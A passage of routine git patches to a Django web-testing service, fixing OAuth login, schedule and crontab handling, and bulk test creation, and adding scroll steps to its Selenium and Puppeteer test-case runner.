 app/api/v1/ops/services.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 5ed5d051..46023680 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1206,7 +1206,7 @@ def delete_many_pages(request: object) -> object:
 
 
 
-def create_scan(request: object=None, delay: bool=False, **kwargs) -> dict | object:
+def create_scan(request: object=None, delay: bool=False, **kwargs) -> object:
     """ 
     Create one or more `Scans` depanding on 
     `Page` or `Site` scope
@@ -1692,7 +1692,7 @@ def delete_many_scans(request: object) -> object:
 
 
 
-def create_test(request: object=None, delay: bool=False, **kwargs) -> dict | object:
+def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
     """ 
     Create one or more `Tests` depanding on 
     `Page` or `Site` scope

From 8fb68c1fc9d96573d61debaf7c2b7aac3ce144ef Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 28 May 2024 14:51:24 -0600
Subject: [PATCH 0558/1099] fixed f string error

---
 app/api/v1/auth/services.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index e118ead7..5b0d0697 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -444,7 +444,7 @@ def google_login(request: object) -> str:
         return error_url
 
     # build redirect url
-    redirect_uri = f'{settings.API_URL_ROOT}{'/v1/auth/google'}'
+    redirect_uri = f'{settings.API_URL_ROOT}/v1/auth/google'
     
     # get access token
     access_token = google_get_access_token(code=code, redirect_uri=redirect_uri)

From 4b4d77bfbec1abeee9aec9f748553b29dc050a4c Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 28 May 2024 16:15:42 -0600
Subject: [PATCH 0559/1099] fixed request data retrevial

---
 app/api/v1/auth/services.py | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index 5b0d0697..ec31ecc0 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -431,8 +431,8 @@ def google_login(request: object) -> str:
     """
         
     # get request data
-    code = request.params.get('code')
-    error = request.params.get('error')
+    code = request.GET.get('code')
+    error = request.GET.get('error')
 
     # build login url
     login_url = f'{settings.CLIENT_URL_ROOT}/login'
@@ -487,7 +487,7 @@ def slack_oauth_middleware(request: object) -> object:
     """
 
     # get request data
-    code = request.params.get('code')
+    code = request.GET.get('code')
 
     # get account
     account = Account.objects.get(user=request.user)

From 79423f47ee2ccf1bd1a1ddddea2dd608cfe232c4 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 28 May 2024 16:33:52 -0600
Subject: [PATCH 0560/1099] added create user

---
 app/api/v1/auth/services.py | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index ec31ecc0..41c783a8 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -341,6 +341,13 @@ def get_or_create_user(email: str,  **extra_fields) -> object:
     if extra_fields.get('last_name') is not None:
         extras['last_name'] = extra_fields.get('last_name')
 
+    # create the user
+    user = User.objects.create(
+        username=email, 
+        email=email, 
+        **extra_fields
+    )
+
     # creating API token
     Token.objects.create(user=user)
 

From d6aba88d64341f029c779986e089ec505bd2e0c0 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 28 May 2024 16:48:41 -0600
Subject: [PATCH 0561/1099] fixing google auth

---
 app/api/v1/auth/services.py | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index 41c783a8..008215c5 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -291,13 +291,13 @@ def jwt_login(*, user: object) -> str:
     api_token = Token.objects.get(user=user)
         
     # setting user active
-    is_active = str(user.is_active).lower
+    is_active = str(user.is_active).lower()
 
     # building params for redirect
     param_string = str(
-        '?access='+access+'&refresh='+refresh+
-        '&username='+user.username+'&id='+str(user.id)+
-        '&email='+user.email+'&is_active='+is_active+
+        '?access='+str(access)+'&refresh='+str(refresh)+
+        '&username='+str(user.username)+'&id='+str(user.id)+
+        '&email='+str(user.email)+'&is_active='+str(is_active)+
         '&created='+str(user.date_joined)+'&updated='+str(user.last_login)+
         '&api_token='+str(api_token.key)
     )

From a9433e1a438804b91eaa2ad6d931ff42853e333f Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 28 May 2024 17:26:07 -0600
Subject: [PATCH 0562/1099] debugging bulk test creation

---
 app/api/v1/ops/services.py | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 46023680..44a604fe 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1951,7 +1951,9 @@ def create_many_tests(request: object) -> object:
                     num_failed += 1
                     this_status = False
                     failed.append(str(id))
+                    print(res['message'])
             except Exception as e:
+                print(e)
                 num_failed += 1
                 this_status = False
                 failed.append(str(id))
@@ -1976,7 +1978,9 @@ def create_many_tests(request: object) -> object:
                     num_failed += 1
                     this_status = False
                     failed.append(str(id))
+                    print(res['message'])
             except Exception as e:
+                print(e)
                 num_failed += 1
                 this_status = False
                 failed.append(str(id))

From ab10935f3d1ddc3c187affd80ce26de0a21f3a7a Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 28 May 2024 17:29:16 -0600
Subject: [PATCH 0563/1099] fixed bulk test creation

---
 app/api/v1/ops/services.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 44a604fe..d6dc3fed 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1937,7 +1937,7 @@ def create_many_tests(request: object) -> object:
             data = {
                 'site_id': str(id), 
                 'configs': configs,
-                'type': type,
+                'type': types,
                 'tags': tags,
                 'user_id': str(user.id)
             }
@@ -1964,7 +1964,7 @@ def create_many_tests(request: object) -> object:
             data = {
                 'page_id': str(id), 
                 'configs': configs,
-                'type': type,
+                'type': types,
                 'tags': tags,
                 'user_id': str(user.id)
             }

From 7768441721dee7c36701d551052d96bbd0f5c0ad Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 28 May 2024 20:25:35 -0600
Subject: [PATCH 0564/1099] fixed ref error in schedule creation

---
 app/api/v1/ops/services.py | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index d6dc3fed..f7f234de 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2311,7 +2311,7 @@ def create_or_update_schedule(request: object) -> object:
     account = Member.objects.get(user=user).account
     
     # deciding on action type
-    action = 'add' if schedule_id else None
+    action = 'add' if not schedule_id else None
 
     # checking account and resource 
     check_data = check_account_and_resource(
@@ -2324,6 +2324,7 @@ def create_or_update_schedule(request: object) -> object:
         return Response(data, status=check_data['status'])
 
     # get schedule if checks passed and id is present
+    schedule = None
     if schedule_id:
         schedule = Schedule.objects.get(id=schedule_id)
     

From 7f3947441e088089652e478aa72a2a774863af4f Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 28 May 2024 21:28:43 -0600
Subject: [PATCH 0565/1099] testing new datetime formatter

---
 app/api/v1/ops/services.py | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index f7f234de..9d909fc7 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2375,7 +2375,8 @@ def create_or_update_schedule(request: object) -> object:
         
         # parsing begin date
         if begin_date_raw:
-            begin_date = datetime.strptime(begin_date_raw, '%m/%d/%Y')
+            # begin_date = datetime.strptime(begin_date_raw, '%Y-%m-%d %H:%M:%S.%f') 
+            begin_date = datetime.fromisoformat(begin_date_raw[:-1] + '+00:00')
 
         # building cron expression time & date
         num_day_of_week = begin_date.weekday()

From 490f0e507845acc3e05fcffba9ed9b922cb93de5 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 28 May 2024 21:46:11 -0600
Subject: [PATCH 0566/1099] added site and page scope

---
 app/api/v1/ops/services.py | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 9d909fc7..a03189f5 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2309,6 +2309,11 @@ def create_or_update_schedule(request: object) -> object:
     # get user and account
     user = request.user
     account = Member.objects.get(user=user).account
+
+    # setting defaults
+    schedule = None
+    site = None
+    page = None
     
     # deciding on action type
     action = 'add' if not schedule_id else None
@@ -2324,15 +2329,16 @@ def create_or_update_schedule(request: object) -> object:
         return Response(data, status=check_data['status'])
 
     # get schedule if checks passed and id is present
-    schedule = None
     if schedule_id:
         schedule = Schedule.objects.get(id=schedule_id)
     
     # converting to str for **kwargs
     if site_id is not None:
         site_id = str(site_id)
+        site = Site.objects.get(id=site_id)
     if page_id is not None:
         page_id = str(page_id)
+        page = Page.objects.get(id=page_id)
 
     # toggling schedule status
     if schedule_status != None and schedule != None:

From be9d40d9393eb211ef935b90eec5d0712d5e5063 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 28 May 2024 21:52:57 -0600
Subject: [PATCH 0567/1099] fixing chrontab issue

---
 app/api/v1/ops/services.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index a03189f5..f0184960 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2476,8 +2476,8 @@ def create_or_update_schedule(request: object) -> object:
                 schedule.frequency = freq
             if task:
                 schedule.task = task
-            if chrontab_id:
-                schedule.chrontab_id = chrontab_id
+            if chrontab:
+                schedule.chrontab_id = chrontab.id
             if task_type:
                 schedule.task_type = task_type
             if extras:

From 346ce8affd587c75cf3a4d57db361b300ad906c1 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 29 May 2024 10:22:38 -0600
Subject: [PATCH 0568/1099] fixed typo

---
 app/api/v1/ops/services.py | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index f0184960..c4cc4c14 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2412,7 +2412,7 @@ def create_or_update_schedule(request: object) -> object:
         # building unique task name
         task_name = f'{task_type}_{level}_{url}_{freq}_@{time}_{account.user.id}'
 
-        # building or updating chrontab 
+        # building or updating crontab 
         crontab, _ = CrontabSchedule.objects.get_or_create(
             timezone=timezone, 
             minute=minute, 
@@ -2476,8 +2476,8 @@ def create_or_update_schedule(request: object) -> object:
                 schedule.frequency = freq
             if task:
                 schedule.task = task
-            if chrontab:
-                schedule.chrontab_id = chrontab.id
+            if crontab:
+                schedule.crontab_id = crontab.id
             if task_type:
                 schedule.task_type = task_type
             if extras:

From bcea578e3fe54a7702a03ad0785aa8da0496aaaf Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 29 May 2024 10:42:20 -0600
Subject: [PATCH 0569/1099] fixed default ordering of get_scans

---
 app/api/v1/ops/services.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index c4cc4c14..dd559070 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1464,7 +1464,7 @@ def get_scans(request: object) -> object:
 
     # get page scoped scans
     page = Page.objects.get(id=page_id)
-    scans = Scan.objects.filter(page=page)
+    scans = Scan.objects.filter(page=page).order_by('-time_created')
         
     # serialize and return
     paginator = LimitOffsetPagination()

From 58d368a498a18a8e6ac2428991a0d269363c6907 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 31 May 2024 11:16:23 -0600
Subject: [PATCH 0570/1099] fixing case update or create issue

---
 app/api/v1/ops/services.py | 1 +
 1 file changed, 1 insertion(+)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index dd559070..376578cb 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -3248,6 +3248,7 @@ def create_or_update_case(request: object) -> object:
 
     # setting defaults
     site = None
+    case = None
 
     # checking account and resource 
     check_data = check_account_and_resource(

From f9ef3e691e70bc0683599f066adfbf266e4ca97e Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 31 May 2024 12:54:43 -0600
Subject: [PATCH 0571/1099] added new scrolling to selenium caser

---
 app/api/utils/caser.py | 40 +++++++++++++++++++++++++++++++++-------
 1 file changed, 33 insertions(+), 7 deletions(-)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index c7de3b42..c8dd9b53 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -312,9 +312,13 @@ def run_s(self) -> None:
                     print(f'clicking element -> {step["action"]["element"]}')
                     # using selenium, find and click on the 'element' 
                     selector = self.format_element_s(step["action"]["element"])
+                    element = self.driver.find_element(By.CSS_SELECTOR, selector)
                                     
                     # scrolling to element using plain JavaScript
-                    element = self.driver.find_element(By.CSS_SELECTOR, selector)
+                    driver.execute_script("arguments[0].scrollIntoView();", element)
+                    driver.execute_script("window.scrollBy(0, -100);")
+
+                    # clicking element
                     element.click()
                     time.sleep(int(self.configs['min_wait_time']))
                     image = self.save_screenshot_s()
@@ -342,10 +346,14 @@ def run_s(self) -> None:
                 
                 try:
                     print(f'changing element to value -> {step["action"]["value"]}') 
-                    # using selenium, find and click on the 'element'
+                    # using selenium, find and change the 'element'.value
                     selector = self.format_element_s(step["action"]["element"])
-                                    
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
+
+                    # scrolling to element and back down a bit
+                    driver.execute_script("arguments[0].scrollIntoView();", element)
+                    driver.execute_script("window.scrollBy(0, -100);")
+
                     # changing value of element
                     value = step["action"]["value"]
                     element.send_keys(value)
@@ -384,9 +392,16 @@ def run_s(self) -> None:
                             break
                         n -= 1
                     selector = self.format_element_s(elm)
-                                    
-                    # using selenium, press the selected key
+                                
+                    # using selenium, find elemenmtn and send 'Key' event
+                    selector = self.format_element_s(step["action"]["element"])
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
+
+                    # scrolling to element and back down a bit
+                    driver.execute_script("arguments[0].scrollIntoView();", element)
+                    driver.execute_script("window.scrollBy(0, -100);")
+
+                    # using selenium, press the selected key
                     element.send_keys(self.s_keys.get(step["action"]["key"], step["action"]["key"]))
                     time.sleep(int(self.configs['min_wait_time']))
                     image = self.save_screenshot_s()
@@ -416,13 +431,19 @@ def run_s(self) -> None:
                     print(f'asserting that element value -> {step["assertion"]["element"]} matches {step["assertion"]["value"]}')
                     # using selenium, find elememt and assert if element.text == assertion.text
                     selector = self.format_element_s(step["action"]["element"])
-                    
-                    # scrolling to element using plain JavaScript
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
+
+                    # scrolling to element and back down a bit
+                    driver.execute_script("arguments[0].scrollIntoView();", element)
+                    driver.execute_script("window.scrollBy(0, -100);")
+
+                    # gettintg elem text
                     elementText = self.driver.execute_script(f'return document.querySelector("{selector}").textContent')
                     elementText = elementText.strip()
                     print(f'elementText => {elementText}')
                     print(f'value => {step["assertion"]["value"]}')
+
+                    # assert text
                     assert elementText == step["assertion"]["value"]
                     image = self.save_screenshot_s()
 
@@ -451,6 +472,11 @@ def run_s(self) -> None:
                     print(f'asserting that element -> {step["assertion"]["element"]} exists')
                     # using puppeteer, find elememt and assert it exists
                     selector = self.format_element_s(step["action"]["element"])
+                    element = self.driver.find_element(By.CSS_SELECTOR, selector)
+
+                    # scrolling to element and back down a bit
+                    driver.execute_script("arguments[0].scrollIntoView();", element)
+                    driver.execute_script("window.scrollBy(0, -100);")
                     
                     # scrolling to element using plain JavaScript
                     self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')

From dcc21c988b2a64e5fe8e67572a16379a10a3db5e Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 31 May 2024 13:40:19 -0600
Subject: [PATCH 0572/1099] fixed driver issues

---
 app/api/utils/caser.py | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index c8dd9b53..90860c64 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -315,8 +315,8 @@ def run_s(self) -> None:
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
                                     
                     # scrolling to element using plain JavaScript
-                    driver.execute_script("arguments[0].scrollIntoView();", element)
-                    driver.execute_script("window.scrollBy(0, -100);")
+                    self.driver.execute_script("arguments[0].scrollIntoView();", element)
+                    self.driver.execute_script("window.scrollBy(0, -100);")
 
                     # clicking element
                     element.click()
@@ -351,8 +351,8 @@ def run_s(self) -> None:
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
 
                     # scrolling to element and back down a bit
-                    driver.execute_script("arguments[0].scrollIntoView();", element)
-                    driver.execute_script("window.scrollBy(0, -100);")
+                    self.driver.execute_script("arguments[0].scrollIntoView();", element)
+                    self.driver.execute_script("window.scrollBy(0, -100);")
 
                     # changing value of element
                     value = step["action"]["value"]
@@ -398,8 +398,8 @@ def run_s(self) -> None:
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
 
                     # scrolling to element and back down a bit
-                    driver.execute_script("arguments[0].scrollIntoView();", element)
-                    driver.execute_script("window.scrollBy(0, -100);")
+                    self.driver.execute_script("arguments[0].scrollIntoView();", element)
+                    self.driver.execute_script("window.scrollBy(0, -100);")
 
                     # using selenium, press the selected key
                     element.send_keys(self.s_keys.get(step["action"]["key"], step["action"]["key"]))
@@ -434,8 +434,8 @@ def run_s(self) -> None:
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
 
                     # scrolling to element and back down a bit
-                    driver.execute_script("arguments[0].scrollIntoView();", element)
-                    driver.execute_script("window.scrollBy(0, -100);")
+                    self.driver.execute_script("arguments[0].scrollIntoView();", element)
+                    self.driver.execute_script("window.scrollBy(0, -100);")
 
                     # gettintg elem text
                     elementText = self.driver.execute_script(f'return document.querySelector("{selector}").textContent')
@@ -475,8 +475,8 @@ def run_s(self) -> None:
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
 
                     # scrolling to element and back down a bit
-                    driver.execute_script("arguments[0].scrollIntoView();", element)
-                    driver.execute_script("window.scrollBy(0, -100);")
+                    self.driver.execute_script("arguments[0].scrollIntoView();", element)
+                    self.driver.execute_script("window.scrollBy(0, -100);")
                     
                     # scrolling to element using plain JavaScript
                     self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')

From ef19fb5495391027d179a12e16c6cf0ebc353856 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 31 May 2024 13:46:55 -0600
Subject: [PATCH 0573/1099] removed task retry testcases

---
 app/api/tasks.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 8609934f..615b177f 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -981,7 +981,7 @@ def create_auto_cases_bg(
 
 
 
-@shared_task(bind=True, base=BaseTaskWithRetry)
+@shared_task
 def create_testcase_bg(
         self, 
         testcase_id: str=None, 

From 8c52be6a0ccabf5ea908914a4aa4fa154bb29d14 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 31 May 2024 14:00:14 -0600
Subject: [PATCH 0574/1099] testing wait after scroll

---
 app/api/utils/caser.py | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index 90860c64..f53abc59 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -279,8 +279,8 @@ def run_s(self) -> None:
                     # using selenium, navigate to requested path & wait for page to load
                     driver_wait(
                         driver=self.driver, 
-                        interval=int(self.configs.get('interval', 5)),  
-                        min_wait_time=int(self.configs.get('min_wait_time', 10)),
+                        interval=int(self.configs.get('interval', 1)),  
+                        min_wait_time=int(self.configs.get('min_wait_time', 3)),
                         max_wait_time=int(self.configs.get('max_wait_time', 30)),
                     )
                     self.driver.get(f'{self.site_url}{step["action"]["path"]}')
@@ -317,6 +317,7 @@ def run_s(self) -> None:
                     # scrolling to element using plain JavaScript
                     self.driver.execute_script("arguments[0].scrollIntoView();", element)
                     self.driver.execute_script("window.scrollBy(0, -100);")
+                    time.sleep(int(self.configs.get('min_wait_time', 3)))
 
                     # clicking element
                     element.click()
@@ -353,6 +354,7 @@ def run_s(self) -> None:
                     # scrolling to element and back down a bit
                     self.driver.execute_script("arguments[0].scrollIntoView();", element)
                     self.driver.execute_script("window.scrollBy(0, -100);")
+                    time.sleep(int(self.configs.get('min_wait_time', 3)))
 
                     # changing value of element
                     value = step["action"]["value"]
@@ -400,6 +402,7 @@ def run_s(self) -> None:
                     # scrolling to element and back down a bit
                     self.driver.execute_script("arguments[0].scrollIntoView();", element)
                     self.driver.execute_script("window.scrollBy(0, -100);")
+                    time.sleep(int(self.configs.get('min_wait_time', 3)))
 
                     # using selenium, press the selected key
                     element.send_keys(self.s_keys.get(step["action"]["key"], step["action"]["key"]))
@@ -436,6 +439,7 @@ def run_s(self) -> None:
                     # scrolling to element and back down a bit
                     self.driver.execute_script("arguments[0].scrollIntoView();", element)
                     self.driver.execute_script("window.scrollBy(0, -100);")
+                    time.sleep(int(self.configs.get('min_wait_time', 3)))
 
                     # gettintg elem text
                     elementText = self.driver.execute_script(f'return document.querySelector("{selector}").textContent')

From f5c4050fca290e9b5e38b292cb463e0eaa01f90f Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 31 May 2024 14:15:31 -0600
Subject: [PATCH 0575/1099] removed self ref

---
 app/api/tasks.py | 1 -
 1 file changed, 1 deletion(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 615b177f..a7358a17 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -983,7 +983,6 @@ def create_auto_cases_bg(
 
 @shared_task
 def create_testcase_bg(
-        self, 
         testcase_id: str=None, 
         site_id: str=None, 
         case_id: str=None, 

From 0c76f63636c4e9bca7330d4c5b2cb5a1c8c510a0 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 31 May 2024 14:23:20 -0600
Subject: [PATCH 0576/1099] testing new scroll method

---
 app/api/utils/caser.py | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index f53abc59..5112012c 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -315,6 +315,7 @@ def run_s(self) -> None:
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
                                     
                     # scrolling to element using plain JavaScript
+                    self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
                     self.driver.execute_script("arguments[0].scrollIntoView();", element)
                     self.driver.execute_script("window.scrollBy(0, -100);")
                     time.sleep(int(self.configs.get('min_wait_time', 3)))
@@ -352,6 +353,7 @@ def run_s(self) -> None:
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
 
                     # scrolling to element and back down a bit
+                    self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
                     self.driver.execute_script("arguments[0].scrollIntoView();", element)
                     self.driver.execute_script("window.scrollBy(0, -100);")
                     time.sleep(int(self.configs.get('min_wait_time', 3)))
@@ -400,6 +402,7 @@ def run_s(self) -> None:
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
 
                     # scrolling to element and back down a bit
+                    self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
                     self.driver.execute_script("arguments[0].scrollIntoView();", element)
                     self.driver.execute_script("window.scrollBy(0, -100);")
                     time.sleep(int(self.configs.get('min_wait_time', 3)))
@@ -437,6 +440,7 @@ def run_s(self) -> None:
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
 
                     # scrolling to element and back down a bit
+                    self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
                     self.driver.execute_script("arguments[0].scrollIntoView();", element)
                     self.driver.execute_script("window.scrollBy(0, -100);")
                     time.sleep(int(self.configs.get('min_wait_time', 3)))
@@ -479,6 +483,7 @@ def run_s(self) -> None:
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
 
                     # scrolling to element and back down a bit
+                    self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
                     self.driver.execute_script("arguments[0].scrollIntoView();", element)
                     self.driver.execute_script("window.scrollBy(0, -100);")
                     
@@ -493,7 +498,7 @@ def run_s(self) -> None:
                     passed = False
 
                 self.update_testcase_s(
-                    index=i, type='action', 
+                    index=i, type='assertion', 
                     end_time=datetime.now(), 
                     passed=passed, 
                     exception=exception,

From 88ffeea0102365758e698e7cec47b8c13e0876a1 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Sat, 1 Jun 2024 14:56:20 -0600
Subject: [PATCH 0577/1099] added scroll to cases

---
 app/api/utils/caser.py | 66 +++++++++++++++++++++++++++++++++++++++++-
 1 file changed, 65 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index 5112012c..8a94f80f 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -299,6 +299,39 @@ def run_s(self) -> None:
                     exception=exception,
                     image=image
                 )
+
+            
+            if step['action']['type'] == 'scroll':
+                exception = None
+                passed = True
+                self.update_testcase_s(
+                    index=i, type='action', 
+                    start_time=datetime.now()
+                )
+
+                try:
+                    print(f'scrolling -> {step["action"]["value"]}')
+                                    
+                    # scrolling using plain JavaScript
+                    self.driver.execute_script(f'window.scrollTo(${step["action"]["value"]});')
+                    time.sleep(int(self.configs.get('min_wait_time', 3)))
+
+                    # get image
+                    image = self.save_screenshot_s()
+                
+                except Exception as e:
+                    image = self.save_screenshot_s()
+                    exception = e
+                    passed = False
+
+                self.update_testcase_s(
+                    index=i, type='action', 
+                    end_time=datetime.now(), 
+                    passed=passed, 
+                    exception=exception,
+                    image=image
+                )
+        
             
             if step['action']['type'] == 'click':
                 exception = None
@@ -608,7 +641,38 @@ async def run_p(self) -> None:
                     exception=exception,
                     image=image
                 )
-                    
+
+            if step['action']['type'] == 'scroll':
+                exception = None
+                passed = True
+                await self.update_testcase(
+                    index=i, type='action', 
+                    start_time=datetime.now()
+                )
+
+                try:
+                    print(f'scrolling -> {step["action"]["value"]}')
+              
+                    # scrolling using plain JavaScript
+                    await self.page.evaluate(f'window.scrollTo(${step["action"]["value"]});')
+                    time.sleep(int(self.configs['min_wait_time']))
+
+                    # get image
+                    image = await self.save_screenshot(page=self.page)
+                
+                except Exception as e:
+                    image = await self.save_screenshot(page=self.page)
+                    exception = e
+                    passed = False
+
+                await self.update_testcase(
+                    index=i, type='action', 
+                    end_time=datetime.now(), 
+                    passed=passed, 
+                    exception=exception,
+                    image=image
+                ) 
+               
             if step['action']['type'] == 'click':
                 exception = None
                 passed = True

From db9fa80d739245952eb808aa6bbd7450369b04f9 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 3 Jun 2024 09:28:35 -0600
Subject: [PATCH 0578/1099] fixed minor JS bug

---
 app/api/utils/caser.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index 8a94f80f..7bd5576c 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -313,7 +313,7 @@ def run_s(self) -> None:
                     print(f'scrolling -> {step["action"]["value"]}')
                                     
                     # scrolling using plain JavaScript
-                    self.driver.execute_script(f'window.scrollTo(${step["action"]["value"]});')
+                    self.driver.execute_script(f'window.scrollTo({step["action"]["value"]});')
                     time.sleep(int(self.configs.get('min_wait_time', 3)))
 
                     # get image
@@ -654,7 +654,7 @@ async def run_p(self) -> None:
                     print(f'scrolling -> {step["action"]["value"]}')
               
                     # scrolling using plain JavaScript
-                    await self.page.evaluate(f'window.scrollTo(${step["action"]["value"]});')
+                    await self.page.evaluate(f'window.scrollTo({step["action"]["value"]});')
                     time.sleep(int(self.configs['min_wait_time']))
 
                     # get image

From 36ed22d3e3747e94b97e4cd8bf155ab4ddc4c445 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 4 Jun 2024 10:19:04 -0600
Subject: [PATCH 0579/1099] testing new report title calc

---
 app/api/utils/reporter.py | 31 ++++++++++++++++++++-----------
 1 file changed, 20 insertions(+), 11 deletions(-)

diff --git a/app/api/utils/reporter.py b/app/api/utils/reporter.py
index e92ff8bd..3e69cae6 100644
--- a/app/api/utils/reporter.py
+++ b/app/api/utils/reporter.py
@@ -192,17 +192,26 @@ def cover_page(self) -> None:
         self.c.setFont('Helvetica-Bold', 45)
         self.c.setFillColor(HexColor(self.text_color))
         self.c.drawString(.5*inch, 10*inch, 'Web Vitals for')
-        if len(self.page.page_url) <= 12:
